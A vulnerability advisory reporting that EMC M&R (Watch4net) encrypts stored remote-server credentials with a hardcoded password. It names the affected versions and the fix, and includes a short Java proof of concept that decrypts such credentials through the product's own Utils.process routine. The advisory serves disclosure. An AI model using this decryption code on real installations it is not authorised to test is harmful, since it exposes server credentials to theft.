EMC M&R (Watch4net) Insecure Credential Storage

EMC M&R (Watch4net) data storage collector credentials are not properly
protected

Abstract
------------------------------------------------------------------------
It was discovered that EMC M&R (Watch4net) credentials of remote servers
stored in Watch4net are encrypted using a fixed hardcoded password. If
an attacker manages to obtain a copy of the encrypted credentials, it is
trivial to decrypt them.

------------------------------------------------------------------------
Affected products
------------------------------------------------------------------------
EMC reports that the following products are affected by this
vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

Fix
------------------------------------------------------------------------
EMC released the following updated versions that resolve this
vulnerability:

- EMC M&R (Watch4Net) 6.5u1

Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().

Proof of concept

import com.watch4net.apg.v2.common.config.tools.Utils;

public class Watch4NetCrypt {
   private static void print(String out) {
      System.out.println(out);
   }

   private static void usage() {
      print("Usage:\t watch4netcrypt [-e] password");
      print("\t watch4netcrypt [-d] encrypted");
      System.exit(1);
   }

   public static void main(String[] args) {
      if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
         usage();
      }
      Boolean encrypt = "-e".equals(args[0]);
      String password = args[1];
      if (password != null) {
         print(Utils.process(password, encrypt, "centralized", null));
      }
}
